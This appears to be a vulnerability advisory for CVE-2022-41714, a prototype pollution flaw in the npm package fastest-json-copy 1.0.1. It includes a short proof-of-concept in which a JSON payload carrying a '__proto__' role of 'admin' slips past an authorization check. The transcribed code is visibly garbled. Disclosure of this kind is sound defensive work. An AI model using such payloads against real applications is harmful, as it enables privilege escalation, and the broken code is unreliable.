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fastest-json-copy 1.0.1 - Prototype Pollution

Summary



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Affected versions	Version 1.0.1	
State	Public	
Release date	2022-10-19	

Vulnerability

Kind Prototype Pollution

Rule 390. Prototype Pollution

Remote Yes

CVSSv3 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVSSv3 Base Score 7.3

Exploit available Yes

CVE ID(s) CVE-2022-41714



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Vulnerability

Prototype pollution is a vulnerability that affects JS. It occurs when a third party manages to modify the __proto__ of an object. JavaScript first checks if such a method/attribute exists in the object. If so, then it calls it. If not, it looks in the object's prototype. If the method/attribute is also not in the object's prototype, then the property is said to be undefined.

Therefore, if an attacker succeeds in injecting the __proto__ property into an object, he will succeed in injecting or editing its properties.

Exploitation

exploit.js



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```
finally {
    create_user(malicious_user_request);
}
```

Evidence of exploitation

```
JS index.js
home > retr02332 > Escritorio > fastest-json-copy > JS index.js > ...
      const copy = require('fastest-json-copy');
      let admin = {name: "admin", role:"admin"};
      let user = {name: "user", role:"user"};
      let normal user request
                                  = JSON.parse('{"name":"user","role":"admin"}');
      let malicious_user_request = JSON.parse('{"name":"user","__proto__":{"role":"admin"}}');
      const create user = (new user) => {
          if(new_user?.role && new user?.role.toLowerCase() === "admin") {
               throw "Unauthorized Action";
          user = copy.copy(new user);
          console.log(user?.role);
          create user(normal user request);
      } catch (error) {
          console.log(error);
 22
```



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Our security policy

We have reserved the CVE-2022-41714 to refer to this issue from now on.

https://fluidattacks.com/advisories/policy/

System Information

- Version: fastest-json-copy 1.0.1
- Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by <u>Carlos Bello</u> from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/streamich/fastest-json-copy

Timeline



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